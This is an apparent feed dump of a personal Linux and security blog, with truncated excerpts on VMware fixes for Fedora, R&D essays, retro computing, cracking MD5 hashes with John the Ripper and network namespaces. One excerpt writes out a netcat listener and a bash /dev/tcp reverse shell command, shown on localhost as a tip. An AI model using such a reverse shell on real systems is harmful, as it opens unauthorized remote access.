tag:blogger.com,1999:blog-60176123403793046862024-03-12T08:19:22.212+01:00Everything about nothingRandom notes of what's on my mind. Additional materials you'll find on my homepage.Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.comBlogger312125tag:blogger.com,1999:blog-6017612340379304686.post-72285754289452417602021-09-01T21:15:00.002+02:002021-09-01T21:15:11.822+02:00Getting uniqe docker container name from within containerI had a use case in which I needed to obtain a unique identifier of a container from within the container. The problem is that container is started with docker-compose using scale option so that a number of indentical containers are started. Googling around gave me some options like examining /proc/self/cgroups, but in my case, this file didn't contain anything useful. Another solution was to Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0tag:blogger.com,1999:blog-6017612340379304686.post-10415393878703586162019-08-22T10:18:00.003+02:002019-08-22T10:18:34.461+02:00List directory sorted by length of names in itSo, for whatever reason, while running ls command, I wanted my directory to be sorted by the length of the names in it, not by some other sorting method ls uses. After a bit of trial and error experimenting, I ended up with the following pipeline to do that:
for i in *; do echo `echo "$i" | wc -c` "$i"; done | sort -n | cut -f2- -d" " | xargs -d \\n ls -Uld
Let's break this command into peaces Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0tag:blogger.com,1999:blog-6017612340379304686.post-4061313762794928342018-07-04T20:37:00.000+02:002018-07-04T20:37:10.598+02:00Cracking raw MD5 hashes with John the RipperI just spent at least 15 minutes trying to figure out why every single post on the Internet tells me to place MD5 hash in a file and call John like this
john --format=raw-md5 --wordlist=/usr/share/dict/words md5.txt
and yet, it constantly gives me an error message:
No password hashes loaded (see FAQ)
The content of md5.txt was:
20E11C279CE49BCC51EDC8041B8FAAAA
I even tried prepending dummy Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0tag:blogger.com,1999:blog-6017612340379304686.post-86177949137211267352018-06-03T22:23:00.002+02:002018-06-03T22:23:52.384+02:00Emulating Amstrad PC1512My first computer was Amstrad Schneider PC1512SD so it's understandable that I'm attached to that computer. I own two of them but since lately I don't have enough time to play with them I started to search for emulators to be able to try from time to time old software and games I've used. Since I lost some time to figure out how to emulate Amstrad, I decided to document everything in this Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com3tag:blogger.com,1999:blog-6017612340379304686.post-50910662827037174902017-08-30T11:59:00.000+02:002017-08-30T11:59:47.279+02:00Difference between command substitution and 'while read' in bashI just changed one of my scripts that, in principle, looked like this:
for i in `find . -type d`do # do some processing on the found directorydone
The new format I use is:
find . -type d | while read ido # do some processing on the found directorydone
While both versions will work in general, the second variant is better for the following reasons:
It's faster. Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0tag:blogger.com,1999:blog-6017612340379304686.post-35092880106197359802017-08-22T15:45:00.004+02:002017-08-22T15:45:56.104+02:00Viber and Fedora 26 SSL errorsI just downloaded and updated Viber on my Fedora. When I tied to start it, it seg faulted with the following errors:
QSqlDatabasePrivate::removeDatabase: connection 'ConfigureDBConnection' is still in use, all queries will cease to work.Qt WebEngine ICU data not found at /opt/viber/resources. Trying parent directory...Qt WebEngine resources not found at /opt/viber/resources. Trying parent Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com4tag:blogger.com,1999:blog-6017612340379304686.post-85049859211184684482017-07-19T09:56:00.001+02:002017-07-19T09:56:15.020+02:00When superstitious are good...I just read the following paper:
Nunn, Nathan, and Raul Sanchez de la Sierra. Why Being Wrong can be Right: Magical Warfare Technologies and the Persistence of False Beliefs. No. w23207. National Bureau of Economic Research, 2017.
and I find it very interesting. Basically it is about why superstitions are good in certain cases. In this paper the author analyzes a case of a village in a Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0tag:blogger.com,1999:blog-6017612340379304686.post-29402218090641965902017-07-16T15:35:00.003+02:002017-07-16T20:20:17.188+02:00Fedora 26 (kernel 4.11.9) and VMWare Workstation 12.5.7I just upgraded Fedora 25 to Fedora 26 and of course there was a problem with VMWare Workstation. If you try to start vmware binary, it just silently fails. Anyway, I managed to find a solution here. In essence it is necessary to replace two share libraries and then manually compile vmmon and vmnet modules. The reason for this is that on Fedora GCC 7.1 is used which is a newer compiler that Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com3tag:blogger.com,1999:blog-6017612340379304686.post-66014155411621504802017-05-21T09:02:00.003+02:002017-05-21T12:21:03.241+02:00The role of scientific conferences in R&DIn this post I'm dealing with a very important question from the perspective of a person managing or financing R&D, how does one know how well is R&D performing? If your thought was that you'll measure it by economic success of a product that uses the results of R&D then you are on a wrong track. Namely, the product can be success or a failure because of a number of reasons, of which Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0tag:blogger.com,1999:blog-6017612340379304686.post-57114674921603760212017-05-18T10:31:00.001+02:002017-05-21T09:05:51.184+02:00What is R&D according to OECDIn my previous post I wrote about my personal opinion what is R&D. In this post I'm going to analyze definition given by OECD, which might be argued to be a relevant authority for such topics. OECD produces for decades a document called Frascati Manual which is about collecting and reporting data about R&D. The latest version is from 2015 and that one is used as the basis for this post. Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0tag:blogger.com,1999:blog-6017612340379304686.post-66915009696502793192017-05-18T08:54:00.003+02:002017-05-21T09:05:02.436+02:00Using astrology to protect from APTsProbably when you saw the title, your reaction was WTF?! Using astrology for APT detection, that's totally crazy! But, the sad fact is that it isn't so crazy after all because large number of products that are offered on the market claim that they are protecting you from APTs in the same way astrology claims it can predict your future.
To elaborate a bit more this claim, the key question is how Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0tag:blogger.com,1999:blog-6017612340379304686.post-49534735487592114432017-04-13T08:47:00.003+02:002017-04-14T23:03:45.567+02:00What is R&D and why should SMEs have one?In this post I would like to describe what is R&D. This is a continuation of a more general idea of cooperation between industry, academia and government about what I wrote in the previous post. By describing what is R&D I hope also to answer the other part of the post's title, why SMEs should have one. In doing so, I'm not going to give formal definitions for now but only my opinion, Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0tag:blogger.com,1999:blog-6017612340379304686.post-51015417451488111462017-04-05T15:13:00.002+02:002017-04-13T10:06:27.540+02:00Cooperation between industry, academia and governmentThis is a first in a series of post (I hope) that will deal with research and development in small and medium enterprises. The reason for me being interested in this topic will be clear after I describe a bit how I got into this. And before I start, let me clearly state that I'm not an expert for economy, management, or even a question of what science is. Everything I say is my personal view at Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0tag:blogger.com,1999:blog-6017612340379304686.post-87520747683394521772017-04-03T21:23:00.001+02:002017-04-04T10:27:14.118+02:00How to run Firefox in a separate network name spaceIn this post I'll explain how to run Firefox (or any other application) in a separate network name space. If you wonder why would you do that, here are some reasons:
You connect to a VPN and want a single application to connect via VPN. All the other applications should access network as usual.
You want to know what network resources specific application does access. For example, there is a Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com8tag:blogger.com,1999:blog-6017612340379304686.post-7282500645963242532017-03-28T10:44:00.000+02:002017-04-03T21:09:21.542+02:00Tip: Quick and dirty reverse remote shellHere is how to get reverse remote shell. I say reverse because the remote system is connecting to you. I'll demonstrate it on a single machine for simplicity. So, open a terminal and run the following command in it:
nc -l 12345
This will start netcat which will listen on port 12345. Then, in the second terminal, run the following command:
/bin/bash -c bash -i >& /dev/tcp/127.0.0.1/8080 0Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0tag:blogger.com,1999:blog-6017612340379304686.post-43598987930111498872017-02-25T10:38:00.002+01:002017-02-25T10:38:26.446+01:00Lock remote deskop over sshI had a seemingly simple problem, connect over SSH to remote computer and lock the screen. Simple Google search for "gnome lock screen" yielded a plenty of results all of which revolving about using command gnome-screensaver-command -l. First of, the package gnome-screensaver isn't installed by default on Fedora, meaning it isn't used there. Then, after installing it I got the Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0tag:blogger.com,1999:blog-6017612340379304686.post-73665594028926273472017-01-30T10:31:00.002+01:002017-01-30T10:31:37.310+01:00Fedora 25, kernel 4.9 and VMWare Workstation 12.5.2Well, after upgrading Fedora 25 which included kernel 4.9.5, VMWare Workstation stopped working again! The fix is easy, even though it annoying to constantly have to patch something in VMWare. Anyway, the procedure - taken from here - is:
Switch to root account.
Go to /usr/lib/vmware/modules/source.
Make backup of files vmmon.tar and vmnet.tar.
Unpack those files using 'tar xf' command.
Patch Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com8tag:blogger.com,1999:blog-6017612340379304686.post-1738765895657780752017-01-06T13:17:00.001+01:002017-01-13T21:59:19.327+01:00Few thoughts about systemd and human behaviorI was just reading comments on a post on Hackernews about systemd. Systemd, as you might know, is a replacement for the venerable init system. Anyway, reading the comments was reading about all the same story over and over again. Namely, there are those strongly pro and those strongly con the systemd, in some cases based on arguments (valid or not) and in other cases based on feelings. In Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0tag:blogger.com,1999:blog-6017612340379304686.post-43473826337125121092016-12-31T01:57:00.002+01:002017-01-06T13:17:47.399+01:00Retro computing resourcesFrom time to time I like to search on the Internet stuff related to retro and vintage computing. This time my interest was (again) resolving around a wish to try Xenix. Namely, Xenix was a Unix variant written by Microsoft that could be run on IBM PC XT with 8086 microprocessor. While searching where to download Xenix, I stumbled on a WinWorld site which has many other vintage operating systems Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0tag:blogger.com,1999:blog-6017612340379304686.post-38198349173527646442016-11-01T15:14:00.001+01:002016-11-01T15:14:06.043+01:00Short Tip: Find files with non-printable ASCII charactersI have a directory full of different files obtained from the Internet and it turned out that some of them contain UTF-8 characters because of which indexing didn't work. So, I had to find all files that contain such characters. The solution I found was the following one:
LC_ALL=C find . -name '*[! -~]*'
This command will print all filenames with embedded unicode characters represented as Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0tag:blogger.com,1999:blog-6017612340379304686.post-27583298060110399712016-11-01T10:07:00.003+01:002016-11-01T11:17:57.860+01:00A bit about RSS feed readers on LinuxI'm monitoring lot of sites using RSS so having a good RSS feed reader is mandatory for me. Once upon a time, I used Liferea but since I have a lots of RSS feeds with lots of posts I want to keep around, turned out that Liferea wasn't designed with scalability in mind. So, I decided to find another one. Web based readers are out of question, because I prefer desktop applications. Not to mention Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0tag:blogger.com,1999:blog-6017612340379304686.post-67575205664177481892016-09-06T10:35:00.000+02:002016-09-06T10:35:13.980+02:00Fedora 24, kernel 4.7 and VMWare Workstation 12.1.As usual, when Fedora upgrades kernel to a new major version VMWare stops working. In this particular case my Fedora was upgraded to Linux kernel version 4.7.2. The fix I found is the following one:
# cd /usr/lib/vmware/modules/source# tar xf vmnet.tar# mv vmnet.tar vmnet.old.tar# sed -i -e 's/dev->trans_start = jiffies/netif_trans_update\(dev\)/g' vmnet-only/netif.c# tar cf vmnet.tar Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com1tag:blogger.com,1999:blog-6017612340379304686.post-88782247857813644232016-07-07T17:53:00.001+02:002016-07-07T17:53:07.237+02:00A little bit about ZXDSL 931VIIThese are short notes about ZTE's home router ZXDSL 931VII modified and distributed by Croatian Telecom (abbreviated as HT from Croatian name Hrvatski Telekom). I had some problems while trying to access CLI of this router and Google didn't return anything usefull. Finally I managed to solve those problems and this is a log of what I did so that I have a reminder and also with a hope that Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0tag:blogger.com,1999:blog-6017612340379304686.post-58861523628720664432016-06-29T08:11:00.001+02:002016-07-10T11:34:46.622+02:00Quick note about Fedora 24 and VMWare Workstation 12.1I just updated Fedora 24 from update-testing repository and that pulled Linux kernel 4.6. Well, as usual, VMWare Workstation needed some patching in order to work. Luckily, I quickly found a fix on VMWare forums. Note that at the end of the thread there is a script you can use to automatically patch necessary files. But, be careful, I didn't try it!
Anyway, after patching, run:
vmware-modconfigStjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0tag:blogger.com,1999:blog-6017612340379304686.post-16226064481929145002016-03-16T20:58:00.002+01:002016-03-16T21:01:29.377+01:00Network namespaces and NetworkManager This post documents a process to implement support for network namespaces in the NetworkManager. The code described in the post can be found on GitHub. While my personal motivation to add namespace support to NetworkManager was to be able to add support for provisioning domains as specified by IETF MIF WG, it also brings benefits to existing users by allowing isolation of different applications Stjepan Groš (sgros)http://www.blogger.com/profile/05055647296141032967noreply@blogger.com0